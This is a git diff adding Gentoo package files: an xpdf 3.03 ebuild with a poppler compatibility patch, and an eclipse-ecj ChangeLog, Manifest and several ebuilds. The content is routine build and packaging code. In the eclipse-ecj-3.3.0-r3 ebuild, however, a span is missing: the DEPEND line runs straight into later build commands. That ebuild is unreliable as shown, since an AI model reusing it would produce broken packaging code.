3af57170e515ba00fda8447db2788e9ead5511906598ca13ccea50c6a517b67e46cdf186b96df45ecbfe91d2197f2f6dfd305928c437f00f5971a2bac1d39b86 +EBUILD xpdf-3.03.ebuild 1916 SHA256 a1ac8fd6ed717423f1021b493c51a9a95a5186b267d30ad4334a626a8ecc5b96 SHA512 d61ec6c0bb23f85f756bdf2d9213420cb6e0f247a8a46d02fe30291e3524d33d002fb6e9bd491c849f1916ceced93c77a102dd931c529b7930cb5357bb68e708 WHIRLPOOL 2a0634e4c499fc247c36f6561cbd538f9974655d96c40907cc06bc77e77b7a1c370ff702415d2e73230c5ef86633362becc0fa81f51df25fd7829a23c84a3c2a diff --git a/app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch b/app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch new file mode 100644 index 00000000..ea2d5ee2 --- /dev/null +++ b/app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch @@ -0,0 +1,13 @@ +Index: xpdf-3.02-poppler/XPDFViewer.cc +=================================================================== +--- xpdf-3.02-poppler.orig/XPDFViewer.cc ++++ xpdf-3.02-poppler/XPDFViewer.cc +@@ -3447,7 +3447,7 @@ void XPDFViewer::printPrintCbk(Widget wi + lastPage = doc->getNumPages(); + } + +- psOut = new PSOutputDev(psFileName->getCString(), doc->getXRef(), ++ psOut = new PSOutputDev(psFileName->getCString(), doc, doc->getXRef(), + doc->getCatalog(), + NULL, + firstPage, lastPage, psModePS); diff --git a/app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch b/app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch new file mode 100644 index 00000000..ea2d5ee2 --- /dev/null +++ b/app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch @@ -0,0 +1,13 @@ +Index: xpdf-3.02-poppler/XPDFViewer.cc +=================================================================== +--- xpdf-3.02-poppler.orig/XPDFViewer.cc ++++ xpdf-3.02-poppler/XPDFViewer.cc +@@ -3447,7 +3447,7 @@ void XPDFViewer::printPrintCbk(Widget wi + lastPage = doc->getNumPages(); + } + +- psOut = new PSOutputDev(psFileName->getCString(), doc->getXRef(), ++ psOut = new PSOutputDev(psFileName->getCString(), doc, doc->getXRef(), + doc->getCatalog(), + NULL, + firstPage, lastPage, psModePS); diff --git a/app-text/xpdf/xpdf-3.03.ebuild b/app-text/xpdf/xpdf-3.03.ebuild new file mode 100644 index 00000000..9d71d91d --- /dev/null +++ b/app-text/xpdf/xpdf-3.03.ebuild @@ -0,0 +1,84 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-text/xpdf/xpdf-3.02-r4.ebuild,v 1.12 2011/10/18 21:56:02 dilfridge Exp $ + +EAPI=4 + +inherit fdo-mime gnome2 eutils flag-o-matic toolchain-funcs + +DESCRIPTION="An X Viewer for PDF Files" +HOMEPAGE="http://www.foolabs.com/xpdf/" +SRC_URI="http://195.113.26.193/~sanda/mirror/${P}-poppler.tgz + http://195.113.26.193/~sanda/mirror/xpdf-3.03-patchset.tgz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd" +IUSE="nodrm" + +RDEPEND=" + >=app-text/poppler-0.18.0[xpdf-headers] + >=x11-libs/openmotif-2.3:0 + x11-libs/libX11 + x11-libs/libXpm + " + +DEPEND="${RDEPEND} + dev-util/pkgconfig" + +S=${WORKDIR}/${P}-poppler + +PATCHDIR="${WORKDIR}/${PV}" + +pkg_setup() { + append-flags '-DSYSTEM_XPDFRC="\"/etc/xpdfrc\""' + # We know it's there, probably won't get rid of it, so let's make + # the build output readable by removing it. + einfo "Suppressing warning overload with -Wno-write-strings" + append-cxxflags -Wno-write-strings +} + +src_prepare() { + export EPATCH_SUFFIX=patch + export EPATCH_SOURCE="${PATCHDIR}" + epatch + use nodrm && epatch "${PATCHDIR}/xpdf-3.02-poppler-nodrm.patch" + has_version '>=app-text/poppler-0.16' && epatch "${FILESDIR}/${P}-poppler-0.16.patch" + mv parseargs.c parseargs.cc +} + +src_configure() { + : +} + +src_compile() { + tc-export CXX + emake +} + +src_install() { + dobin xpdf + doman xpdf.1 + insinto /etc + doins "${PATCHDIR}"/xpdfrc + dodoc README ANNOUNCE CHANGES + doicon "${PATCHDIR}"/xpdf.png + insinto /usr/share/applications + doins "${PATCHDIR}"/xpdf.desktop +} + +pkg_preinst() { + gnome2_icon_savelist +} + +pkg_postinst() { + fdo-mime_desktop_database_update + fdo-mime_mime_database_update + gnome2_icon_cache_update +} + +pkg_postrm() { + fdo-mime_desktop_database_update + fdo-mime_mime_database_update + gnome2_icon_cache_update +} diff --git a/dev-java/eclipse-ecj/ChangeLog b/dev-java/eclipse-ecj/ChangeLog new file mode 100644 index 00000000..46c94dd4 --- /dev/null +++ b/dev-java/eclipse-ecj/ChangeLog @@ -0,0 +1,356 @@ +# ChangeLog for dev-java/eclipse-ecj +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/ChangeLog,v 1.81 2012/03/12 15:13:26 ranger Exp $ + + 12 Mar 2012; Brent Baude eclipse-ecj-3.7.1.ebuild: + Marking eclipse-ecj-3.7.1 ppc64 for bug 392391 + + 10 Mar 2012; Brent Baude eclipse-ecj-3.7.1.ebuild: + Marking eclipse-ecj-3.7.1 ppc for bug 392391 + +*eclipse-ecj-3.7.2 (03 Mar 2012) + + 03 Mar 2012; Vlastimil Babka +eclipse-ecj-3.7.2.ebuild: + Version bump. + + 31 Dec 2011; Ralph Sennhauser eclipse-ecj-3.3.0-r3.ebuild, + eclipse-ecj-3.4-r4.ebuild: + Drop ia64 support #345433 + + 14 Dec 2011; Ralph Sennhauser +eclipse-ecj-3.3.0-r3.ebuild: + Restore for now, forcing jdk < 1.7 + + 14 Dec 2011; Agostino Sarubbo eclipse-ecj-3.7.1.ebuild: + Stable for AMD64, wrt bug #392391 + + 14 Dec 2011; Ralph Sennhauser -eclipse-ecj-3.3.0-r3.ebuild: + Remove old, failes to build with Java 7. + + 14 Dec 2011; Pawel Hajdan jr + eclipse-ecj-3.7.1.ebuild: + x86 stable wrt bug #392391 + +*eclipse-ecj-3.7.1 (19 Oct 2011) + + 19 Oct 2011; Miroslav Å ulc +eclipse-ecj-3.7.1.ebuild: + Added version 3.7 (bug #380165, thanks William L. Thomson Jr. + for the ebuild) + + 19 Oct 2011; Miroslav Å ulc -eclipse-ecj-3.5.1.ebuild, + eclipse-ecj-3.5.2.ebuild, eclipse-ecj-3.6.ebuild: + Fixed links to source files (bug #382511, thanks to Sebastián Magrí + for the links), and removed old version + +*eclipse-ecj-3.6 (21 Dec 2010) + + 21 Dec 2010; Alistair Bush +eclipse-ecj-3.6.ebuild: + Version Bump. + + 05 Nov 2010; Mark Loeser eclipse-ecj-3.5.2.ebuild: + Stable for ppc64; bug #316293 + + 14 Oct 2010; Brent Baude eclipse-ecj-3.5.2.ebuild: + Marking eclipse-ecj-3.5.2 ppc for bug 316293 + + 25 Jun 2010; Christoph Mende + eclipse-ecj-3.5.2.ebuild: + Stable on amd64 wrt bug #316293 + + 21 May 2010; Vlastimil Babka + eclipse-ecj-3.3.0-r3.ebuild, eclipse-ecj-3.4-r4.ebuild: + Change SRC_URI to a live one. Bug #311137. + + 27 Apr 2010; Pawel Hajdan jr + eclipse-ecj-3.5.2.ebuild: + x86 stable wrt bug #316293 + +*eclipse-ecj-3.5.2 (20 Mar 2010) + + 20 Mar 2010; Vlastimil Babka + +eclipse-ecj-3.5.2.ebuild: + Version bump, bug #310415. + + 23 Jan 2010; Alexis Ballier + eclipse-ecj-3.5.1.ebuild: + depend on findutils only with userland_GNU for bsd userland compatibility, + part of bug #214768 + + 18 Jan 2010; Markus Meier eclipse-ecj-3.5.1.ebuild: + amd64 stable, bug #295678 + + 03 Jan 2010; Christian Faulhammer + eclipse-ecj-3.3.0-r3.ebuild, eclipse-ecj-3.4-r4.ebuild, + eclipse-ecj-3.5.1.ebuild: + Transfer Prefix keywords + + 29 Dec 2009; Christian Faulhammer + eclipse-ecj-3.5.1.ebuild: + stable x86, bug 295678 + + 10 Nov 2009; Vlastimil Babka + -files/compiler-settings-3.2, -eclipse-ecj-3.2.2-r1.ebuild, + -files/eclipse-ecj-3.2-build-gentoo.patch: + Remove the obsolete 3.2. + +*eclipse-ecj-3.5.1 (04 Nov 2009) + + 04 Nov 2009; Vlastimil Babka + +eclipse-ecj-3.5.1.ebuild, metadata.xml: + Version bump. Fixes bug #277998. Instead of java6 flag, it builds most + using 1.4 bytecode and only 1.6 specific parts with 1.6 bytecode, as + upstream does. Adds local USE flag 'ant' enabled by default, which pulls + the Ant adapter in PDEPEND. + + 04 Nov 2009; Vlastimil Babka + -eclipse-ecj-3.2.2.ebuild, -files/ecj-3.3, -eclipse-ecj-3.3.0-r2.ebuild, + -eclipse-ecj-3.4-r3.ebuild: + Remove old. + + 05 Sep 2009; Brent Baude eclipse-ecj-3.3.0-r3.ebuild: + Marking eclipse-ecj-3.3.0-r3 ppc64 for bug 249521 + + 18 Mar 2009; Brent Baude eclipse-ecj-3.4-r4.ebuild: + Marking eclipse-ecj-3.4-r4 ppc for bug 237689 + + 15 Mar 2009; Markus Meier eclipse-ecj-3.4-r4.ebuild: + amd64/x86 stable, bug #237689 + + 15 Mar 2009; Brent Baude eclipse-ecj-3.4-r4.ebuild: + Marking eclipse-ecj-3.4-r4 ppc64 for bug 237689 + +*eclipse-ecj-3.4-r4 (13 Feb 2009) + + 13 Feb 2009; Jean-Noël Rivasseau -files/ecj-3.4, + +eclipse-ecj-3.4-r4.ebuild: + Bump to fix #237689 by actually removing support for gcj. gcj support is + still available in the overlay. + + 11 Feb 2009; Jean-Noël Rivasseau + eclipse-ecj-3.3.0-r2.ebuild, eclipse-ecj-3.3.0-r3.ebuild, + eclipse-ecj-3.4-r3.ebuild: + Fixed bug #235410. + + 19 Jan 2009; Petteri Räty + eclipse-ecj-3.4-r3.ebuild: + Add app-arch/unzip to DEPEND. + + 19 Jan 2009; Petteri Räty + -eclipse-ecj-3.4-r2.ebuild: + Remove old ebuild. + + 20 Dec 2008; Markus Meier eclipse-ecj-3.2.2-r1.ebuild, + eclipse-ecj-3.3.0-r3.ebuild: + amd64/x86 stable, bug #249521 + + 06 Dec 2008; nixnut eclipse-ecj-3.2.2-r1.ebuild, + eclipse-ecj-3.3.0-r3.ebuild: + Stable on ppc wrt bug 249521 + +*eclipse-ecj-3.4-r3 (27 Sep 2008) + + 27 Sep 2008; Petteri Räty + +eclipse-ecj-3.4-r3.ebuild: + Use EAPI 2 use dependencies for gcj. + + 27 Sep 2008; Petteri Räty + eclipse-ecj-3.4-r2.ebuild: + Make gcj support work with stable gcc. + + 17 Sep 2008; Vlastimil Babka + eclipse-ecj-3.4-r2.ebuild: + Don't restrict gcc dependency. + +*eclipse-ecj-3.4-r2 (01 Aug 2008) + + 01 Aug 2008; Jean-Noël Rivasseau +files/ecj-3.4, + +eclipse-ecj-3.4-r2.ebuild: + Bumping eclipse-ecj-3.4, moving from overlay to tree. + +*eclipse-ecj-3.3.0-r3 (21 Jul 2008) +*eclipse-ecj-3.2.2-r1 (21 Jul 2008) + + 21 Jul 2008; Petteri Räty + +eclipse-ecj-3.2.2-r1.ebuild, +eclipse-ecj-3.3.0-r3.ebuild: + Add app-admin/eselect-ecj support. + + 21 Jul 2008; Petteri Räty + -eclipse-ecj-3.2.ebuild, -eclipse-ecj-3.3.0-r1.ebuild: + Remove old ebuilds. + + 07 Apr 2008; Kenneth Prugh eclipse-ecj-3.2.2.ebuild: + amd64 stable, bug #212643 + + 22 Mar 2008; Markus Meier eclipse-ecj-3.3.0-r2.ebuild: + amd64 stable, bug #204484 + + 11 Mar 2008; Brent Baude eclipse-ecj-3.2.2.ebuild: + stable ppc64, bug 212643 + + 08 Mar 2008; Krzysiek Pawlik + eclipse-ecj-3.2.2.ebuild: + Stable on ppc, see bug #212643. + + 08 Mar 2008; Markus Meier eclipse-ecj-3.2.2.ebuild: + x86 stable, bug #212643 + + 11 Feb 2008; Brent Baude ChangeLog: + Marking eclipse-ecj-3.3.0-r2 ppc64 for bug 204484 + + 05 Feb 2008; Markus Rothe + eclipse-ecj-3.3.0-r2.ebuild: + Stable on ppc64 + + 24 Jan 2008; nixnut eclipse-ecj-3.3.0-r2.ebuild: + Stable on ppc wrt bug 204484 + + 23 Jan 2008; Raúl Porcel + eclipse-ecj-3.3.0-r2.ebuild: + Re-add ~ia64 wrt #204484 + + 23 Jan 2008; Christian Faulhammer + eclipse-ecj-3.3.0-r2.ebuild: + stable x86, bug 204484 + +*eclipse-ecj-3.3.0-r2 (23 Jan 2008) + + 23 Jan 2008; Vlastimil Babka + +eclipse-ecj-3.3.0-r2.ebuild: + Revbump to inherit proper eclass, fixed bug #207000. + + 06 Jan 2008; Vlastimil Babka + -files/compiler-settings-3.1, -eclipse-ecj-3.1-r13.ebuild: + Removing ecj-3.1 - old, and does not work correctly with 1.6 JDK and ant 1.7.0. + + 05 Jan 2008; Petteri Räty + -eclipse-ecj-3.3.0.ebuild: + Delete old revision. + + 01 Dec 2007; Markus Rothe + eclipse-ecj-3.3.0-r1.ebuild: + Stable on ppc64 + + 27 Oct 2007; Krzysiek Pawlik + eclipse-ecj-3.3.0-r1.ebuild: + Stable on ppc. + + 17 Oct 2007; Markus Rothe + eclipse-ecj-3.3.0-r1.ebuild: + Added ~ppc64; bug #191729 + + 12 Oct 2007; Roy Marples eclipse-ecj-3.3.0.ebuild, + eclipse-ecj-3.3.0-r1.ebuild: + Added ~x86-fbsd keyword back - don't drop it again! #191729 + + 12 Oct 2007; Christian Faulhammer + eclipse-ecj-3.3.0-r1.ebuild: + stable x86, security bug 195571 + + 12 Oct 2007; William L. Thomson Jr. + eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild, + eclipse-ecj-3.2.2.ebuild, eclipse-ecj-3.3.0.ebuild, + eclipse-ecj-3.3.0-r1.ebuild: + QA fixed copyright, added quotes. + + 12 Oct 2007; William L. Thomson Jr. + eclipse-ecj-3.3.0-r1.ebuild: + amd64 stable, bug #195571. + +*eclipse-ecj-3.3.0-r1 (07 Sep 2007) + + 07 Sep 2007; Petteri Räty + +eclipse-ecj-3.3.0-r1.ebuild: + Use java-pkg_dolauncher instead of the hand written wrapper script. + +*eclipse-ecj-3.3.0 (27 Jul 2007) + + 27 Jul 2007; Joshua Nichols +files/ecj-3.3, + +files/eclipse-ecj-3.3.0-gcj.patch, +eclipse-ecj-3.3.0.ebuild: + Version bump imported from gcj-overlay. + + 08 May 2007; Raúl Porcel eclipse-ecj-3.2.2.ebuild: + Add ~ia64 wrt #177466 + +*eclipse-ecj-3.2.2 (25 Apr 2007) + + 25 Apr 2007; Vlastimil Babka + +eclipse-ecj-3.2.2.ebuild: + Version bump, bug #168806. + + 25 Apr 2007; Petteri Räty + eclipse-ecj-3.1-r13.ebuild: + Add dev-java/ant-core to RDEPEND and use java-pkg_dojavadoc. + + 08 Mar 2007; Petteri Räty + files/eclipse-ecj-3.2-build-gentoo.patch, -eclipse-ecj-3.1-r2.ebuild: + Remove old revision and fix javadoc installation for 3.2. + + 09 Dec 2006; Diego Pettenò + eclipse-ecj-3.1-r13.ebuild: + Add ~x86-fbsd keyword. + + 07 Dec 2006; Diego Pettenò eclipse-ecj-3.2.ebuild: + Add ~x86-fbsd keyword. + + 15 Oct 2006; Tobias Scherbaum + eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild: + ppc stable. bug #147254 + + 14 Oct 2006; Joshua Nichols + eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild: + Stabilizing on amd64 as part of new Java system, bug #147254. + + 14 Oct 2006; Joshua Jackson + eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild: + New java stable on x86; bug #147254 + + 14 Sep 2006; Joshua Nichols metadata.xml, + eclipse-ecj-3.1-r2.ebuild, eclipse-ecj-3.1-r13.ebuild, + eclipse-ecj-3.2.ebuild: + Added ~ppc64. Moved SRC_URI to Gentoo mirrors. Other minor whitespace cleanups. + +*eclipse-ecj-3.2 (10 Aug 2006) + + 10 Aug 2006; Joshua Nichols + +files/compiler-settings-3.2, +files/eclipse-ecj-3.2-build-gentoo.patch, + +eclipse-ecj-3.2.ebuild: + Version bump, thanks to Caster. + + 07 Aug 2006; Krzysiek Pawlik + eclipse-ecj-3.1-r13.ebuild: + Added classpath. + + 22 Jul 2006; Tobias Scherbaum + eclipse-ecj-3.1-r13.ebuild: + Added ~ppc, bug #105223 + + 25 Jun 2006; +files/compiler-settings-3.1: + Revision bump to add support for new Java system. + + 10 Mar 2006; Markus Rothe eclipse-ecj-3.1-r2.ebuild: + Added ~ppc64; bug #125715 + + 24 Dec 2005; Thomas Matthijs -eclipse-ecj-3.1.ebuild: + remove + + 18 Dec 2005; Joshua Nichols eclipse-ecj-3.1-r2.ebuild: + Added ~amd64 keyword. + +*eclipse-ecj-3.1-r2 (04 Sep 2005) + + 04 Sep 2005; Karl Trygve Kalleberg + +eclipse-ecj-3.1-r2.ebuild: + Added updates from Joshua. Also forgot to mention that this stuff is + inspired by the of work Scott Carr over at #80526. + +*eclipse-ecj-3.1 (24 Aug 2005) + + 24 Aug 2005; Karl Trygve Kalleberg + +eclipse-ecj-3.1.ebuild: + Initial import. The source snapshot was ripped straight out of + plugins/org.eclipse.jdt.core from the 3.1 zipfile. Note that the + directory layout has changed a bit; I don't maintain separate + batch and compiler directories. Our layout looks exactly like the + one used for the bootstrap compiler in jdtcoresrc/. + + + diff --git a/dev-java/eclipse-ecj/Manifest b/dev-java/eclipse-ecj/Manifest new file mode 100644 index 00000000..fb1ec4f9 --- /dev/null +++ b/dev-java/eclipse-ecj/Manifest @@ -0,0 +1,15 @@ +AUX eclipse-ecj-3.3.0-gcj.patch 20084 RMD160 08944cef146676d9d7fddc46727bc172d75cdcb5 SHA1 900ccaaec2db0012defc016c65088f979a35e145 SHA256 6c5ffcefdc385305f01b63fcb7088b04698b5d1b8d9db54d058ffcf2252460e8 +DIST ecjsrc-3.4.zip 1280774 RMD160 8d12a84b9ff2b8df252bdc06309558559ce91d2e SHA1 dbf3300205717c165a1b1ec36af4c3fd1e45888b SHA256 a6ce5f0682462e85e5e47229e5b16555f74c60188fa0bb17536beb1138c537b4 +DIST ecjsrc-3.5.2.zip 1298691 RMD160 f6dc987418682dd9d776a692383a37497656fc04 SHA1 7d79ac9602ffa825f6f3ea8ab5a3387b687f5215 SHA256 4ae91449962b1e2781b70713e299f9fa16fb1ce25a4d2bb335c13b55c08d6d74 +DIST ecjsrc-3.6.zip 1310484 RMD160 82d9980aa4e6be1014d1bac396cceb2ab304cee3 SHA1 9bfda69c7c8528ecfe1b6cbcbe976b642069ca9c SHA256 bc2d624c5ca135d593c71a677674509f5801998ffe98c386749d15a46ee69242 +DIST ecjsrc-3.7.1.jar 1365199 RMD160 bc6c18ad68544b2a3071e769fe395633db232793 SHA1 fcf9751ba022c340e2d01456462ea4949ceee991 SHA256 d8567a5de289b750dd9853654aeb941a8e48766b1d7ae80803c71d1f47fbe9b4 +DIST ecjsrc-3.7.2.jar 1366333 RMD160 628827d9bed955078db412976204fc785cf2f882 SHA1 75d8b5b90ff3bac912e06aa94f0f09fe5bc81c7a SHA256 755d871c3066f15cfaf5ea84075527eb97c92f9685058c3a326057e797f69e6b +DIST ecjsrc.zip 1215250 RMD160 938320ae54050e322bbb98c78b0e86d241862153 SHA1 e08a27fd77e5ac7af8f2c84beed175cd3fdd0c60 SHA256 f41194a9580023afd11d18b82f6815b064af83c4f9ca407a40cd8d960bd112cc +EBUILD eclipse-ecj-3.3.0-r3.ebuild 2161 RMD160 7369ef82fdbb3bbd971cc541542d52a8c93e5796 SHA1 2f45a9cef2ad8a366f096bf1436b662edf9582e0 SHA256 6e76a6d5637af3796ba42b4e21c7fc905c2f5767bdc4635c8b8102b6f1d03c86 +EBUILD eclipse-ecj-3.4-r4.ebuild 2307 RMD160 e5c2e4482ba2cae562b18e123f54c61a73fcdbae SHA1 daa812c16a3fd668fe74622c9dc3a1663d60532d SHA256 dd93f38e418fe26939827a11f492160711194c0a0124b812dc39899fbf4819ff +EBUILD eclipse-ecj-3.5.2.ebuild 2859 RMD160 a965480a9882f30c0c40a0da349d7b92f099ad30 SHA1 673fded0a18fef3745b35c46f1ff24ecb073d89c SHA256 b5199a992363c21a021e09dd90fc6d678278fb0dcc0c1ac94ad7c08875c4b25f +EBUILD eclipse-ecj-3.6.ebuild 2860 RMD160 b44c1a2fe200a93523badb273b0c0c152a69c448 SHA1 1fab52ebac83928f2b9e83054668d1a49c650fb6 SHA256 0032e352917a487115d31ea1d6088a1ab6a4b9e5d58317e26a4b9c830ff82b54 +EBUILD eclipse-ecj-3.7.1.ebuild 2859 RMD160 d4ccb1db1ebea781833ad81c40eb597d7cf40737 SHA1 2dbd06fc003b2776d27f81b3ec7227798fd36f6d SHA256 eef28beaebc7318739f494c385974a7f3759f02b1f52782eb307bd26cb92207d +EBUILD eclipse-ecj-3.7.2.ebuild 2863 RMD160 8c313f1cab4e560f5e754b33e425a491e0929ef6 SHA1 d80a183a0a44e4ec423900d48ecbc002883bd1a4 SHA256 1fabf338b86a38af207a78e161dc97bc40f8ba430ee59ba1cb7bfd4fd9df435a +MISC ChangeLog 12114 RMD160 0a19a44eda1268512e12d7a3521455868fbc31eb SHA1 6f6e9338c2e0eb26f1ed8c452cc6e360fb20c586 SHA256 fa1c806884e12016ac707a1cc71bf45e9b3e86e56ce13db14a26c1b583938ee4 +MISC metadata.xml 570 RMD160 c3773d8e931a0e7a00eeb494f1f8f68cc1f799ed SHA1 71c2b881dc7b6733567777051b079745f3c2d70a SHA256 dd2a09440442264363911b455040196cbb42763fbacbb135c07b3f0de44a1e3a diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild new file mode 100644 index 00000000..9e5c9cae --- /dev/null +++ b/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild @@ -0,0 +1,86 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild,v 1.10 2011/12/31 14:25:23 sera Exp $ + +inherit eutils java-pkg-2 + +MY_PN="ecj" +DMF="R-${PV}-200706251500" +S="${WORKDIR}" + +DESCRIPTION="Eclipse Compiler for Java" +HOMEPAGE="http://www.eclipse.org/" +SRC_URI="http://archive.eclipse.org/eclipse/downloads/drops/${DMF/.0}/${MY_PN}src.zip" + +LICENSE="EPL-1.0" +KEYWORDS="amd64 ppc ppc64 x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris" +SLOT="3.3" +IUSE="" + +COMMON_DEPEND="app-admin/eselect-ecj" +RDEPEND=">=virtual/jre-1.4 + ${COMMON_DEPEND}" +DEPEND=" sources-1.4 + find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6 + + mkdir -p bootstrap || die + cp -pPR org bootstrap || die + cd "${S}/bootstrap" || die + + einfo "bootstrapping ${MY_PN} with ${javac} ..." + ${javac} ${javac_opts} @../sources-1.4 || die + ${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar + + cd "${S}" || die + einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..." + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + ${javac_opts} -nowarn @sources-1.4 || die + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + -encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar +} + +src_install() { + java-pkg_dolauncher ${MY_PN}-${SLOT} --main \ + org.eclipse.jdt.internal.compiler.batch.Main + + # disable the class version verify, this has intentionally + # some classes with 1.6, but most is 1.4 + JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar +} + +pkg_postinst() { + einfo "To select between slots of ECJ..." + einfo " # eselect ecj" + + eselect ecj update ecj-${SLOT} +} + +pkg_postrm() { + eselect ecj update +} diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild new file mode 100644 index 00000000..45a4437e --- /dev/null +++ b/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild @@ -0,0 +1,103 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild,v 1.2 2011/10/19 15:44:02 fordfrog Exp $ + +EAPI=2 + +inherit java-pkg-2 + +MY_PN="ecj" +DMF="R-${PV}-201006080911" +S="${WORKDIR}" + +DESCRIPTION="Eclipse Compiler for Java" +HOMEPAGE="http://www.eclipse.org/" +SRC_URI="http://archive.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.zip" + +IUSE="+ant userland_GNU" + +LICENSE="EPL-1.0" +KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris" +SLOT="3.6" + +CDEPEND=">=app-admin/eselect-ecj-0.3" + +JAVA_PKG_WANT_SOURCE=1.4 +JAVA_PKG_WANT_TARGET=1.4 + +DEPEND="${CDEPEND} + app-arch/unzip + >=virtual/jdk-1.6 + userland_GNU? ( sys-apps/findutils )" +RDEPEND="${CDEPEND} + >=virtual/jre-1.4" +PDEPEND="ant? ( ~dev-java/ant-eclipse-ecj-${PV} )" + +src_unpack() { + unpack ${A} + cd "${S}" + + # These have their own package. + rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die + rm -fr org/eclipse/jdt/internal/antadapter || die + + # upstream build.xml excludes this + rm META-INF/eclipse.inf +} + +src_compile() { + local javac_opts javac java jar + + javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1" + javac="$(java-config -c)" + java="$(java-config -J)" + jar="$(java-config -j)" + + find org/ -path org/eclipse/jdt/internal/compiler/apt -prune -o \ + -path org/eclipse/jdt/internal/compiler/tool -prune -o -name '*.java' \ + -print > sources-1.4 + find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6 + + mkdir -p bootstrap || die + cp -pPR org bootstrap || die + cd "${S}/bootstrap" || die + + einfo "bootstrapping ${MY_PN} with ${javac} ..." + ${javac} ${javac_opts} @../sources-1.4 || die + ${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar + + cd "${S}" || die + einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..." + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + ${javac_opts} -nowarn @sources-1.4 || die + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + -encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar +} + +src_install() { + java-pkg_dolauncher ${MY_PN}-${SLOT} --main \ + org.eclipse.jdt.internal.compiler.batch.Main + + # disable the class version verify, this has intentionally + # some classes with 1.6, but most is 1.4 + JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar +} + +pkg_postinst() { + einfo "To select between slots of ECJ..." + einfo " # eselect ecj" + + eselect ecj update ecj-${SLOT} +} + +pkg_postrm() { + eselect ecj update +} diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild new file mode 100644 index 00000000..79dfb9ea --- /dev/null +++ b/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild @@ -0,0 +1,103 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild,v 1.5 2012/03/12 15:13:26 ranger Exp $ + +EAPI="4" + +inherit java-pkg-2 + +MY_PN="ecj" +DMF="R-${PV}-201109091335" +S="${WORKDIR}" + +DESCRIPTION="Eclipse Compiler for Java" +HOMEPAGE="http://www.eclipse.org/" +SRC_URI="http://download.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.jar" + +IUSE="+ant userland_GNU" + +LICENSE="EPL-1.0" +KEYWORDS="amd64 ppc ppc64 x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris" +SLOT="3.7" + +CDEPEND=">=app-admin/eselect-ecj-0.3" + +JAVA_PKG_WANT_SOURCE=1.4 +JAVA_PKG_WANT_TARGET=1.4 + +DEPEND="${CDEPEND} + app-arch/unzip + >=virtual/jdk-1.6 + userland_GNU? ( sys-apps/findutils )" +RDEPEND="${CDEPEND} + >=virtual/jre-1.4" +PDEPEND="ant? ( 